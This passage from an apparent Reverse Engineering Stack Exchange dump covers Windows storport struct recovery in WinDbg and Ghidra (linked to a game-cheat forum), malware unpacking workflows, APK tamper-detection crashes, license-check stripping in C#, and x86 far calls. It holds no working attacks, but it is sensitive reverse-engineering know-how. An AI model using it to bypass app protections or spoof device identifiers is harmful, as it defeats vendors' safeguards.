the possible sizeof structure is greater than   0xcd0</p>\n<p>from this stage on you either need to identify each member manually and name them or use google or tools like ida / ghidra to aid you or debug the function and infer the members of the structure</p>\n<p>since you already googled and is having a possible candidate lets trial and eliminate or confirm its correctness</p>\n<p>confirm if size is greater than the accessed offset</p>\n<pre><code>0: kd&gt; ?? sizeof(storport!_RAID_UNIT_EXTENSION)\nunsigned int64 0xd40\n</code></pre>\n<p>yes it is greater</p>\n<p>check if offset 0xcd0 is correct offset for a member inside this structure</p>\n<pre><code>0: kd&gt; .shell -ci &quot;dt -v storport!_RAID_UNIT_EXTENSION &quot; findstr &quot;cd0&quot;\n   +0xcd0 BusType          : Enum _STORAGE_BUS_TYPE,  22 total enums\n.shell: Process exited\n</code></pre>\n<p>sure it matches\nlets check the enum</p>\n<pre><code>0: kd&gt; dt -v storport!_STORAGE_BUS_TYPE\nEnum _STORAGE_BUS_TYPE,  22 total enums\n   BusTypeUnknown = 0n0\n   BusTypeScsi = 0n1\n   BusTypeAtapi = 0n2\n   BusTypeAta = 0n3\n   BusType1394 = 0n4\n   BusTypeSsa = 0n5\n   BusTypeFibre = 0n6\n   BusTypeUsb = 0n7\n   BusTypeRAID = 0n8\n   BusTypeiScsi = 0n9\n   BusTypeSas = 0n10\n   BusTypeSata = 0n11\n   BusTypeSd = 0n12\n   BusTypeMmc = 0n13\n   BusTypeVirtual = 0n14\n   BusTypeFileBackedVirtual = 0n15\n   BusTypeSpaces = 0n16\n   BusTypeNvme = 0n17\n   BusTypeSCM = 0n18\n   BusTypeUfs = 0n19\n   BusTypeMax = 0n20\n   BusTypeMaxReserved = 0n127\n</code></pre>\n<p>ok test eax,eax means it is possibly checking BusTypeUnknown</p>\n<p>lets check other offsets</p>\n<p>+0x018 Adapter          : Ptr64 to struct _RAID_ADAPTER_EXTENSION, 178 elements, 0x1740 bytes</p>\n<p>all other member access 0x70,72,0x90,0x98 etc  fall inside</p>\n<pre><code>   +0x068 Identity         : struct _STOR_SCSI_IDENTITY, 7 elements, 0x38 bytes\n   +0x0a0 VendorId         : [9] UChar\n</code></pre>\n<p>lets check that structure</p>\n<pre><code>0: kd&gt; dt -v storport!_STOR_SCSI_IDENTITY\nstruct _STOR_SCSI_IDENTITY, 7 elements, 0x38 bytes\n   +0x000 InquiryData      : Ptr64 to struct _INQUIRYDATA, 44 elements, 0x68 bytes\n   +0x008 SerialNumber     : struct _STRING, 3 elements, 0x10 bytes\n   +0x018 Supports1667     : UChar\n   +0x019 ZonedDevice      : UChar\n   +0x020 DeviceId         : Ptr64 to struct _VPD_IDENTIFICATION_PAGE, 6 elements, 0x4 bytes\n   +0x028 AtaDeviceId      : Ptr64 to struct _STOR_ATA_DEVICE_ID, 2 elements, 0x32 bytes\n   +0x030 RichDeviceDescription : Ptr64 to struct _STOR_RICH_DEVICE_DESCRIPTION, 5 elements, 0x6c bytes\n</code></pre>\n<p><a href=\"https://www.unknowncheats.me/forum/2858059-post136.html\" rel=\"nofollow noreferrer\">so your google foo has landed a possibly correct reference to the implementation</a></p>\n<p>opened the storport.sys in ghidra / configured symbol path / searched for the function and de-compiled it  selected the PARAMETER 1 and assigned _RAID_UNIT_EXTENSION to it and voila you get a neat output</p>\n<pre><code>void RaGetUnitStorageDeviceProperty(_RAID_UNIT_EXTENSION *param_1,void *param_2,uint *param_3)\n\n{\nxxxxxxxxxxxxxxxxxxxxxx\n  local_1bc = param_1-&gt;BusType;\n  p_Var5 = (param_1-&gt;Identity).RichDeviceDescription;\n  if (p_Var5 == (_STOR_RICH_DEVICE_DESCRIPTION *)0x0) {\n    p_Var6 = (param_1-&gt;Identity).AtaDeviceId;\n    if ((p_Var6 == (_STOR_ATA_DEVICE_ID *)0x0) ||\n       ((((param_1-&gt;Adapter-&gt;Miniport).HwInitializationData)-&gt;FeatureSupport &amp; 0x40) == 0)) {\n      local_1b0 = *(undefined8 *)p_Var4-&gt;VendorId;\n      uVar3 = *(undefined4 *)p_Var4-&gt;ProductRevisionLevel;\n      uStack424 = uStack424 &amp; 0xff | *(int *)p_Var4-&gt;ProductId &lt;&lt; 8;\n      uStack420._1_3_ = (undefined3)*(undefined4 *)(p_Var4-&gt;ProductId + 4);\n      uStack420 = CONCAT31(uStack420._1_3_,(char)((uint)*(int *)p_Var4-&gt;ProductId &gt;&gt; 0x18));\n      uStack416._1_3_ = (undefined3)*(undefined4 *)(p_Var4-&gt;ProductId + 8);\n      uStack416 = CONCAT31(uStack416._1_3_,\n                           (char)((uint)*(undefined4 *)(p_Var4-&gt;ProductId + 4) &gt;&gt; 0x18));\n      uStack412._1_3_ = (undefined3)*(undefined4 *)(p_Var4-&gt;ProductId + 0xc);\n      uStack412 = CONCAT31(uStack412._1_3_,\n                           (char)((uint)*(undefined4 *)(p_Var4-&gt;ProductId + 8) &gt;&gt; 0x18));\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n</code></pre>\n<p>opening the file in idafree8  inserted the standard structure _RAxxxxx\nassigned the parameter to pointer to standard structure  and decompiled</p>\n<p>idas output</p>\n<pre><code>  HIDWORD(v26[3]) = a1-&gt;BusType;\n  RichDeviceDescription = a1-&gt;Identity.RichDeviceDescription;\n  if ( RichDeviceDescription )\n  {\n    if ( RichDeviceDescription-&gt;VendorId[0] )\n    {\n      v15 = *(_OWORD *)RichDeviceDescription-&gt;VendorId;\n      HIDWORD(v26[1]) = 40;\n      *(_OWORD *)&amp;v26[5] = v15;\n    }\n    v16 = *(_OWORD *)RichDeviceDescription-&gt;ModelNumber;\n    v26[2] = 0x7A00000039i64;\n    v17 = *(_OWORD *)&amp;RichDeviceDescription-&gt;ModelNumber[16];\n    *(_OWORD *)((char *)&amp;v26[7] + 1) = v16;\n    v18 = *(_OWORD *)&amp;RichDeviceDescription-&gt;ModelNumber[32];\n    *(_OWORD *)((char *)&amp;v26[9] + 1) = v17;\n    v19 = *(_OWORD *)&amp;RichDeviceDescription-&gt;ModelNumber[48];\n    *(_OWORD *)((char *)&amp;v26[11] + 1) = v18;\n    v20 = *(_OWORD *)RichDeviceDescription-&gt;FirmwareRevision;\n    *(_OWORD *)((char *)&amp;v26[13] + 1) = v19;\n    *(_OWORD *)((char *)&amp;v26[15] + 2) = v20;\n    if ( a1-&gt;Identity.SerialNumber.MaximumLength )\n      JUMPOUT(0x1C00761D0i64);\n    goto LABEL_12;\n  }\n  AtaDeviceId = a1-&gt;Identity.AtaDeviceId;\n  if ( AtaDeviceId &amp;&amp; (a1-&gt;Adapter-&gt;Miniport.HwInitializationData-&gt;FeatureSupport &amp; 0x40) != 0 )\n  {\n    v21 = *(_OWORD *)AtaDeviceId-&gt;ModelNumber;\n    v22 = *(_QWORD *)AtaDeviceId-&gt;FirmwareRevision;\n    v23 = *(_OWORD *)&amp;AtaDeviceId-&gt;ModelNumber[16];\n    v26[2] = 0x5100000028i64;\n    *(_OWORD *)&amp;v26[5] = v21;\n    *(_QWORD *)((char *)&amp;v26[10] + 1) = v22;\n    v26[9] = *(_QWORD *)&amp;AtaDeviceId-&gt;ModelNumber[32];\n    *(_OWORD *)&amp;v26[7] = v23;\n    if ( a1-&gt;Identity.SerialNumber.MaximumLength )\n    {\n      Length = a1-&gt;Identity.SerialNumber.Length;\n      LODWORD(v26[3]) = 90;\n      memmove((char *)&amp;v26[11] + 2, a1-&gt;Identity.SerialNumber.Buffer);\n      v25 = 21;\n      if ( (unsigned __int64)(Length + 1) &lt; 0x15 )\n        v25 = Length + 1;\n      RaidRemoveTrailingBlanks((char *)&amp;v26[11] + 2, v25);\n      goto LABEL_8;\n    }\n</code></pre>\n"
    },
    {
        "Id": "30899",
        "CreationDate": "2022-09-20T05:25:49.917",
        "Body": "<p>I am trying to use the <a href=\"http://www.openrce.org/downloads/details/178/OllyFlow\" rel=\"nofollow noreferrer\">OllyFlow plugin</a> for OllyDbg 1.10. It requires WinGraph32.exe, which was apparently distributed with IDA at some point, because the <a href=\"https://nostarch.com/gamehacking\" rel=\"nofollow noreferrer\">book Game Hacking</a> says:</p>\n<blockquote>\n<p>Wingraph32 is not provided with OllyFlow, but it is available with the free version of IDA</p>\n</blockquote>\n<p>It appears the current free version of IDA no longer has WinGraph32.exe included - so, how can I get the OllyFlow plugin to work?</p>\n",
        "Title": "WinGraph32 for the OllyFlow plugin",
        "Tags": "|ida|ollydbg|",
        "Answer": "<p>I know nothing about OllyFlow plugin, but here some info on WinGraph32.exe.</p>\n<p>There was GPL-ed source code on hex-rays.com. You can download it using Internet Archive Wayback Machine. Something like this:</p>\n<p><a href=\"https://web.archive.org/web/20080901113014/http://www.hex-rays.com/idapro/idadown.htm\" rel=\"nofollow noreferrer\">https://web.archive.org/web/20080901113014/http://www.hex-rays.com/idapro/idadown.htm</a></p>\n<p>Or you can download IDA Pro 5.0 Freeware which contains compiled wingraph32.exe:</p>\n<p><a href=\"https://web.archive.org/web/20110804083226/http://www.hex-rays.com/idapro/idadown.htm\" rel=\"nofollow noreferrer\">https://web.archive.org/web/20110804083226/http://www.hex-rays.com/idapro/idadown.htm</a></p>\n"
    },
    {
        "Id": "30925",
        "CreationDate": "2022-09-26T15:06:18.293",
        "Body": "<p>When decompiling an exe file, I have defined two structs <code>struct A</code> and <code>struct B</code> that are of the same structure. They appeared under different contexts, thus I assumed that they were different structs. However, as the contexts merge, I realize that these are in fact the same struct.</p>\n<p>Now I would like to get rid of <code>struct B</code> and replace all its occurance with <code>struct A</code>. Is it possible to do that without manually changing everything?</p>\n<p>I know that I can define <code>struct B</code> as containing just one <code>struct A</code> as its member, but this feels less optimal and creates unnecessary syntax in decompiled code.</p>\n",
        "Title": "Identify two structs in IDA",
        "Tags": "|ida|struct|",
        "Answer": "<p>You can do that through the &quot;local types&quot; window (<code>View -&gt; Open subviews -&gt; Local types</code>). Right-click on the structure and select <code>Map to another type</code>.</p>\n"
    },
    {
        "Id": "30931",
        "CreationDate": "2022-09-29T12:59:44.877",
        "Body": "<p>I am trying to disassemble the function <code>ExAcquireFastMutex</code> using WinDbg but it gives me only 8 rows:</p>\n<pre><code>3: kd&gt; u nt!ExAcquireFastMutex \nnt!ExAcquireFastMutex:\nfffff805`456e3820 4053            push    rbx\nfffff805`456e3822 56              push    rsi\nfffff805`456e3823 57              push    rdi\nfffff805`456e3824 4883ec30        sub     rsp,30h\nfffff805`456e3828 33f6            xor     esi,esi\nfffff805`456e382a 488bf9          mov     rdi,rcx\nfffff805`456e382d 89742458        mov     dword ptr [rsp+58h],esi\nfffff805`456e3831 65488b1c2588010000 mov   rbx,qword ptr gs:[188h]\n</code></pre>\n<p>How can I get more rows, until the return instruction ?</p>\n",
        "Title": "How to disassemble an entire function in Windbg?",
        "Tags": "|disassembly|windows|windbg|winapi|",
        "Answer": "<p>uf foo!blah unassemble full function</p>\n"
    },
    {
        "Id": "30934",
        "CreationDate": "2022-09-29T20:41:26.960",
        "Body": "<p>I got an assignment to analize an exe file with 97% entropy. It's obviously packed but I got no results from Protection Id or PEid about which packer it used...</p>\n<p>How can I unpack it if it's possible? Or should I just throw it to ida and hope for the best? Everything I've found on the internet was either too complicated for me or used known packers. Sorry if this is an easy topic to understand, I'm new to this stuff. Every answer is appreciated!</p>\n",
        "Title": "How do I reverse an exe packed with an unknown packer?",
        "Tags": "|ida|c++|static-analysis|unpacking|packers|",
        "Answer": "<p>You don't throw things at IDA and hope for the best and, as an analyst, you don't relay on automatic tools this much.\nThat's clearly a sign you need to start doing the heavy lifting.</p>\n<p>A packer is simply a binary, so you proceed as you would do with any other binary.\nThere is no general procedure, I'll tell you what I usually do but I may have forgotten something and the list cannot possibly be exhaustive.</p>\n<p>The general rule is: you debug it until you understand it, no matter how much time and focus will it take (5 min, 1 hour, 3 days, a month, doesn't matter).<br />\nYou do this often enough and the time will shorten further and further until it's acceptable, you never get your hands dirty (i.e. use automated tools) and you'll never learn how to do this.</p>\n<p>Anyway, I'd do this assuming the packer is a PE:</p>\n<ol>\n<li>Inspect the PE with a PE viewer. I use CFF Explorer. This will tell you if the PE is 32 or 64-bit, if it's a .NET assembly and what resources it has. Very simple packers have plain or XOR/RC4 encrypted payloads in their resources. The resources will also tell you if you are dealing with a Delphi binary, a particular runtime, an installer, UPX and so on. With experience, you can even tell malware and packer families aparts just by inspecting their PE.</li>\n<li>If it's a .NET use dnspy to inspect and debug it.</li>\n<li>If it's a Delphi use IDR to inspect and debug it.</li>\n<li>If it's a VB6 use VB decompiler.</li>\n<li>If it's AutoIT or similar scripted automation, use the relevant decompiler.</li>\n<li>If it's an installer (NSIS, MSI, SFX, ...) use 7z 9.38 to extract it and then go back to point 1 (you may find out the packer it's an installer later, it's OK, you are required to know how the main installer looks like when disassembled with IDA, Ghidra or similar).</li>\n<li>If it's not either use IDA.</li>\n<li>If necessary debug the packer (I use x64dbg).</li>\n</ol>\n<h4>.NET assembly</h4>\n<p>These can be easy to unpack or can be hard (if they patch metadata or use delegate shadowing).<br />\nIn either case, check any module constructor and variable initializer. Often the malicious code is hidden inside a legal application, you have to find it starting from the entry-point. This is tedious but not hard, it's easy to spot malicious code (you are required to be a programmer to be a malware analyst, so you surely know what good code looks like).<br />\nOften the packers use Control-Flow Obfuscation, this makes the code hard to read but not too hard to debug.<br />\nWhat these packers usually do is decode an assembly (a DLL) from the resource and load it with <code>Assembly.Load</code> then use reflections (<code>GetTypes</code>, <code>GetMethods</code>, <code>Invoke</code>) to invoke a method. Use the <em>module</em> view of dnspy to put breakpoints in dynamically loaded assembly.<br />\nBy debugging and inspecting the local variable you can easily find the configuration and the payload. You'll know when you are in the final unpacking routine because there will be a lot of checks on the configuration (cfr. MaaS).<br />\nKeep in mind that there can be one, two, five, or even ten additional assemblies before the final unpacking.\nIf the packer uses &quot;delegate shadowing&quot; (i.e. call its method and runtime methods through delegates) you can inspect the target of the delegate in the <em>local</em> window to see if you are going to step into a runtime function.</p>\n<p>De4dot was once useful for deobfuscating .NET assembly, not it's pretty useless but for dynamically executing string deobfuscation and renaming.</p>\n<p>dnlib is a very useful library to manipulate IL code, you are required to know how to use it to write deobfuscator or simplify the analysis.</p>\n<h4>IDR</h4>\n<p>This is a standard Delphi executable, as a malware analyst you are required to be confident with the Delphi runtime (particularly string and array manipulation, Unit initialization and GUI events).<br />\nYou may need to download additional &quot;Knowledge Bases&quot; to have IDR recognize the Delphi runtime.<br />\nYour first task is finding the malicious code. This can be in a unit initialization routine, in a timer in a form or in any form load/create event.<br />\nUse IDR to inspect the possible entry-point and look for anything suspicious, use the rename function copiously.<br />\nLook for the usual tricks (PEB accesses, <code>LoadLibrary</code> and so on). Generally speaking, the packer will allocate memory to decode the payload and then map and execute it.<br />\nThere is no way to give a general procedure. Note that you want the payload just decoded but not yet mapped (the payload is usually a PE) otherwise you have to patch it once dumped.</p>\n<h4>IDA</h4>\n<p>First identify the runtime used, for example, Go, Rust, C, C++ or so on. You are required to know how to tell the main programming languages apart (including Delphi, sometimes it can be wrongly detected).<br />\nIf the languages have metadata (e.g. Go, Rust) then use the necessary IDA script to annotate the DB from these metadata (e.g. Go has AlphaGolang). If the scripts don't exist, write them. As a malware analyst, you are required to be confident in the vast majority of programming languages and platforms, including idapy.<br />\nSee also if FLIRT or Lumina can help you (particularly for C/C++).</p>\n<p>Once you have made IDA detect as much library code as possible, you need to find and inspect the entry-point.<br />\nGet a gist of the possible obfuscation used and if used learn the patterns, what they actually mean and how to mentally translate them.<br />\nLearn the shape of the decoy code to ignore (this can be done with several years of experience in programming, decoy code makes no sense so it really stands out as you have never seen it while debugging the legal programs you worked on) and look for the suspicious one (again: PEB access, allocation of memory, loading of modules).<br />\nThe packer will generally decode the payload in allocated memory and then map and execute it.<br />\nThe memory can be allocated with a variety of functions (<code>NtAllocateVirtualMemory</code>, <code>GlobalAlloc</code>, <code>LocalAlloc</code>, <code>VirtualAlloc</code>, on a writable section, ...).<br />\nSee if the decoding code is simple (short actually) enough to be worth emulating in a script or if it's easier to debug it.\nYou can expect an intermediate shellcode, this can be called with anything (indirect <code>jmp</code> and <code>call</code>, <code>push/ret</code> pairs, callbacks in APIs, ...).<br />\nAgain, you want the payload decoded but not mapped.</p>\n<h4>VB6</h4>\n<p>If the packer is really written in VB6, just read the decompiled code. Again it should be easy to spot the decoding routine thanks to the boatload of metadata.<br />\nOften the VB6 binary is just a decoy, you have to find the call to the shellcode. This is usually a simple <code>call</code> to a fixed address that is not listed as a VB6 routine. Put a breakpoint there and debug.</p>\n<hr />\n<p>You are also required to <a href=\"https://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf\" rel=\"noreferrer\">know the anti-debug tricks</a> and how to work around them (you can simply put breakpoint on APIs).</p>\n"
    },
    {
        "Id": "30956",
        "CreationDate": "2022-10-05T16:56:08.933",
        "Body": "<p>So I am trying to run an app and collect information at certain points.\nNo biggie, right? Wrong. Check this simple example:</p>\n<pre><code>import ida_dbg\nida_dbg.step_over() #or runto()\neax = ida_dbg.get_reg_val(&quot;eax&quot;)\nprint(&quot;eax: &quot;, eax)\n</code></pre>\n<p>throws an exception</p>\n<blockquote>\n<p>Exception: Failed to retrieve register value</p>\n</blockquote>\n<p>But Individually it works. So if I do ONLY a &quot;ida_dbg.step_over()&quot;, that works. And if do ONLY a 'get_reg_val(&quot;eax&quot;)' that works too.\nOnly in combination it fails.</p>\n<p>Now, you might think this is because step_over only posts a request, but the documentation explicitly says otherwise and provides a request_step_over() for that purpose.</p>\n<p>Please, can someone enlighten me and show me how I can step over my program and collect register values after each step?</p>\n",
        "Title": "ida pro: scripting debugger with python fails on step_over/run_to",
        "Tags": "|ida|debugging|idapython|",
        "Answer": "<p>Ah! So despite the function being advertised otherwise it is still async and I have to call</p>\n<blockquote>\n<p>ida_dbg.wait_for_next_event(ida_dbg.WFNE_SUSP, -1)</p>\n</blockquote>\n<p>Is this the correct solution?</p>\n"
    },
    {
        "Id": "30986",
        "CreationDate": "2022-10-13T06:16:45.693",
        "Body": "<p>I have a set of equations in string format as given below. Need to assign some value to the left-hand side variable (In the below example: rsp, esp). Then have to calculate and store the results on the right-hand side variable (i.e., rax, esp, rsp).</p>\n<p>Example:</p>\n<p><code>rax = rsp</code></p>\n<p><code>esp = esp - 0x4</code></p>\n<p><code>rsp = rsp - 0x30</code></p>\n<p>Though I have used the <code>eval</code> function in python, it is throwing me an error message as it won't support <code>=</code>. Could someone please help me to find the answer?</p>\n",
        "Title": "How to change the Equations in string format to normal equations in Python?",
        "Tags": "|python|",
        "Answer": "<p>With the help of &quot;locals&quot; and &quot;globals&quot; in python programming, this can be solved</p>\n"
    },
    {
        "Id": "30987",
        "CreationDate": "2022-10-13T19:51:01.397",
        "Body": "<p>Does anybody know which IC this is? I cannot find anything for &quot;2746 QA7A&quot; or any combination of it. Neither do I recognise the manufacturer.\nThe IC is actually very small, so I cannot take a better photo of it.</p>\n<p>What I already found out:\nThe IC is connected to six touch keys, the upper five pins and the first pin on the lower left are connected to the touch pads. Then there are 3 data lines connected to an ST32. May be I2C.</p>\n<p>Thanks for any hint!</p>\n<p><a href=\"https://i.stack.imgur.com/qcGl8.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qcGl8.jpg\" alt=\"unknown IC\" /></a></p>\n",
        "Title": "Need help identifying this IC",
        "Tags": "|hardware|",
        "Answer": "<p>This is an AT42QT2120 QTouch sensor IC from Atmel.</p>\n"
    },
    {
        "Id": "31020",
        "CreationDate": "2022-10-20T16:48:36.427",
        "Body": "<p>I am currently trying to de-obfuscate a Java program (i.e. find each class name and namespace, each method name and each method parameter name).\nTo do so, I started by using Enigma (the fork from FabricMC).</p>\n<p>But I have access to old sources that are <strong>not</strong> obfuscated and I was wondering if I could automatically de-obfuscate the part of my Java program that did not change since then.</p>\n<p>Basically, I have:</p>\n<ul>\n<li>Version 3 that is non-obfuscated.</li>\n<li>Version 6 that is obfuscated.</li>\n<li>Version 7 that is obfuscated.</li>\n<li>Version 9 that is obfuscated.</li>\n</ul>\n<p>and I want to de-obfuscate automatically as much symbols as possible in Version 9.</p>\n<p>Are you aware of any tool that can do this? Currently, I am navigating the unobfuscated files of Version 3 by hand and mapping Version 9 on Enigma by hand too, which is quite a long and tedious process.</p>\n<p>Note: all the subjects I found during my research were about de-obfuscating without access to any prior, non-obfuscated, sources. I would like to extract the maximum I can from the non-obfuscated sources I obtained.</p>\n",
        "Title": "Automatic deobfuscation of Java class/method/parameter names with access to old non obfuscated sources",
        "Tags": "|java|deobfuscation|",
        "Answer": "<p>Have you tried <a href=\"https://github.com/FabricMC/Matcher\" rel=\"nofollow noreferrer\">https://github.com/FabricMC/Matcher</a>?<br />\nIt doesn't always create the best matches automatically but it helps a lot by suggesting classes/methods/fields that are similar to each other across the different versions.</p>\n"
    },
    {
        "Id": "31022",
        "CreationDate": "2022-10-21T12:36:12.203",
        "Body": "<p>I must be missing something obvious here. I cannot make sense of the following deflate stream.</p>\n<p>Steps:</p>\n<pre><code>% wget https://github.com/lrq3000/mri_protocol/raw/master/SiemensVidaProtocol/Coma%20Science%20Group.exar1\n% sqlite3 Coma\\ Science\\ Group.exar1 &quot;SELECT writefile('ae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c.raw', Data) FROM Content WHERE hash = 'ae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c'&quot;\n% file ae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c.raw\nae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c.raw: data\n</code></pre>\n<p>However upon closer look:</p>\n<pre><code>% binwalk -X ae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c.raw | head\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Raw deflate compression stream\n</code></pre>\n<p>Looking at the entropy (<code>binwalk -EJ</code>), this really looks like a typical deflate algorithm:</p>\n<p><a href=\"https://i.stack.imgur.com/MqaR5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MqaR5.png\" alt=\"enter image description here\" /></a></p>\n<p>But it seems the signature is broken:</p>\n<pre><code>% zlib-flate -uncompress &lt; ae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c.raw\nflate: inflate: data: incorrect header check\n</code></pre>\n<p>Anyone recognize the compression here ?</p>\n",
        "Title": "What kind of deflate compression is this?",
        "Tags": "|decompress|",
        "Answer": "<p>Turns out this is indeed pure deflate bitstream. <code>zlib-flate</code> is for zlib stream.</p>\n<pre><code>% ./decomp.py ae126b7a3fe86811f981f53cf7cf59cfc1e5bc7c.raw | colrm 82\nb'EDF V1: ContentType=syngo.MR.ExamDataFoundation.Data.EdfAddInConfigContent;\\r\\n\n</code></pre>\n<p>With simply:</p>\n<pre><code>% cat decomp.py\n#!/bin/env python3\nimport zlib\nimport sys\n\nwith open(sys.argv[1], 'rb') as input_file:\n    compressed_data = input_file.read()\n    unzipped = zlib.decompress(compressed_data, -zlib.MAX_WBITS)\n    print(unzipped)\n</code></pre>\n<p>Ref:</p>\n<ul>\n<li><a href=\"https://stackoverflow.com/a/22310760/136285\">https://stackoverflow.com/a/22310760/136285</a></li>\n</ul>\n"
    },
    {
        "Id": "31048",
        "CreationDate": "2022-10-29T03:28:53.553",
        "Body": "<p>Decompiling and recompiling an apk causes it to crash. My goal is simply to insert a method into smali code that prints a stacktrace, but even decompiling and recompiling with no changes causes the modified apk to crash. Apktool says everything goes fine, but when the recompiled apk is installed it crashes instantly.</p>\n<p><a href=\"https://pastebin.com/zBJWdWYg\" rel=\"nofollow noreferrer\">the decompiled and recompiled apk's log</a></p>\n<p><a href=\"https://pastebin.com/Ay0m8ns4\" rel=\"nofollow noreferrer\">log of the unmodified version installed from Play Store</a></p>\n<p>It seems as if Apktool doesn't properly recompile.</p>\n",
        "Title": "Decompiling and Recompiling APK leads to crash using Apktool",
        "Tags": "|decompilation|android|apk|",
        "Answer": "<p>As commented by Robert, the answer for me in this case was that the signature was being checked by the app itself, and the app was causing the crash as a result of detecting modification to the app. If you want to solve this problem, get ready for a long project. If the developers of the app care even a little about the security of their app, they can make it incredibly difficult to modify the app. I would recommend looking up reverse engineering tools such as Ghidra and Frida that might be able to help you.</p>\n"
    },
    {
        "Id": "31054",
        "CreationDate": "2022-10-30T19:35:04.727",
        "Body": "<p>I'm reverse engineering an old TP-Link TD-W9970v3 router for fun and wanted to examine one of the executables called <code>webWarn</code>. Ghidra was unable to recognise the format, which surprised me. I then tried to use the <code>file</code> command on it, and it too did not recognise it, simply reporting it as data. I then opened up the file in a hex editor and was surprised to see that the first bytes in the executable are a string containing a relative path to the location of the <code>busybox</code> executable on the system.</p>\n<p>Comparing the hex of this executable with a normal ELF executable from the system shows that their headers seem to be the same size. It caught my attention that the presence of the string &quot;/lib/ld-uClibc.so.0&quot; in both files starts at the same offset.</p>\n<p><a href=\"https://i.stack.imgur.com/nIsM6.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/nIsM6.png\" alt=\"Comparison\" /></a></p>\n<p>There are many strings in the binary that seem to refer to C libraries and functions, so it does look like a regular compiled executable.</p>\n<p>I uploaded it to Decompiler Explorer (<a href=\"https://dogbolt.org/?id=6d669677-b444-4005-91b8-fa14aac8fc74\" rel=\"noreferrer\">see result</a>) and only BinaryNinja was able to recognise the file apparently, although trying to upload it to BinaryNinja's own cloud service didn't work</p>\n<p>What binary format is this?</p>\n",
        "Title": "Why do the first bytes of this executable contain a path to busybox?",
        "Tags": "|binary-format|",
        "Answer": "<p>It looks like something went wrong with binwalk's extraction. I checked the file on the running device with hexdump and it's just a normal ELF executable. I used binwalk to extract the JFFS2 image and it has handled other symlniks just fine. Perhaps it's errors in the extracted image data, or a bug in binwalk.</p>\n<p>Thanks to @secondperson.</p>\n"
    },
    {
        "Id": "31058",
        "CreationDate": "2022-10-31T06:36:34.370",
        "Body": "<p>I have something like this in my code that checks for user's license:</p>\n<pre><code>// C# code:\n\n#if DEBUG\n    MakeLicenseValidForever();\n#else\n    CheckLicense();\n#endif\n</code></pre>\n<p>Now, I need to know if these directives get saved in my released binary or not. If they do get saved, then a user can make <code>#if DEBUG</code> return <code>true</code> and bypass the checks. I need to know if <code>#if DEBUG</code> is safe.</p>\n",
        "Title": "Can #if DEBUG in C# become true in the released binary?",
        "Tags": "|executable|c#|",
        "Answer": "<p>best to put the code inside the MakeLicenseValidForever into <code>#if DEBUG</code>,too. those #if things get processed at compile time and only the code of the taken path exists. Functions don't get stripped if not referenced thats why its best to empty out the function that should not exist in the release binary. They are similar to the C #ifdefs for preprocessor based stripping</p>\n"
    },
    {
        "Id": "31060",
        "CreationDate": "2022-10-31T08:46:06.323",
        "Body": "<p>I do not understand the usefulness of the &quot;far call&quot; instruction in a 86 CPU.</p>\n<p>On a 32 bits CPU for example each process has an addressing space of 4Gb (0x00000000 to 0xFFFFFFFF).</p>\n<p>There can be several executable memory regions in this 4Gb address space.</p>\n<p>A &quot;basic CALL&quot; instruction can call any address in this space. for example:</p>\n<pre><code>CALL 0x12345678\n</code></pre>\n<p>In this case, EIP register will be pushed on the stack and 0x12345678 value will be assigned to EIP.</p>\n<p>To me, a &quot;Far call&quot; is exactly the same thing but it also changes the CS (Code Segment) register. What is the goal of changing this register value ?</p>\n<p>Why changing CS register value ?</p>\n<p>Thanks</p>\n",
        "Title": "What is a \"far call\" in an x86 or x86_64 cpu",
        "Tags": "|assembly|x86|x86-64|calling-conventions|",
        "Answer": "<p>to perform inter segement branching (jump/call) cs needs to be changed</p>\n<p>from windbg you can observe kernel code is running in code segment 0x10 while user mode code is running in 0x33 (64 bits) or 0x23 (32 bits)</p>\n<pre><code>:\\&gt;livekd -b  -c rcs;q | findstr &quot;cs=&quot;\ncs=0010\n\n:\\&gt;cdb -c &quot;r cs;q&quot; cdb.exe | findstr &quot;cs=&quot;\ncs=0033\n\n\n:\\&gt;cd &quot;c:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86&quot;\n\n:\\&gt;.\\cdb -c &quot;r cs;q&quot; .\\cdb.exe | findstr &quot;cs=&quot;\ncs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246\ncs=00000023\n</code></pre>\n<p>a 32 bit binary when running in a 64 bit windows uses WoW (windows on windows ) layer to run 64 bit code to perform syscalls employing inter segement calls with same privileges but different selector</p>\n<pre><code>ntdll!Wow64SystemServiceCall:\n77cf8b40 ff252892d977    jmp     dword ptr [ntdll!Wow64Transition (77d99228)] ds:002b:77d99228=77c67000\n0:000&gt; t\neax=0007000e ebx=00000000 ecx=ffffffff edx=77cf8b40 esi=77d95ce0 edi=77c76a78\neip=77c67000 esp=04a7f510 ebp=04a7f788 iopl=0         nv up ei pl zr na pe nc\n&gt;&gt;&gt;cs=0023&lt;&lt;&lt;\nss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246\n77c67000 ea0970c6773300  jmp     0033:77C67009  &lt;&lt;&lt;&lt; calling \n</code></pre>\n<p>EDIT:</p>\n<p>the queries you pose in edit are probably worth a few lectures and can't be answered justifiably in Q.A site.</p>\n<p>you may need to look for Segment Descriptor , Segment Selector ,<br />\nGlobal Descriptor Table , Local Descriptor Table , Segment Translation<br />\nand run through AMD and Intel Manuals a few times to get a grip.</p>\n<p>cs , fs, ss, es ,gs ds are segment selectors a 16 bit entity</p>\n<p>bit 0,1 denotes Requested Privilege Level or RPL</p>\n<p>bit 2 denotes Which Descriptor Table (Table Indicator or TI) to use<br />\n( GDT or LDT )</p>\n<p>bit 3 to 15 denotes the Index</p>\n<p>SELECTORS Dissected</p>\n<pre><code>hex | bin               |    index          |  TI     | RPL         |\n10  | 0000000000010000  | 0000000000010=0X2 | 0=GDT   | 00=R0/KERNEL|\n23  | 0000000000100011  | 0000000000100=0X4 | 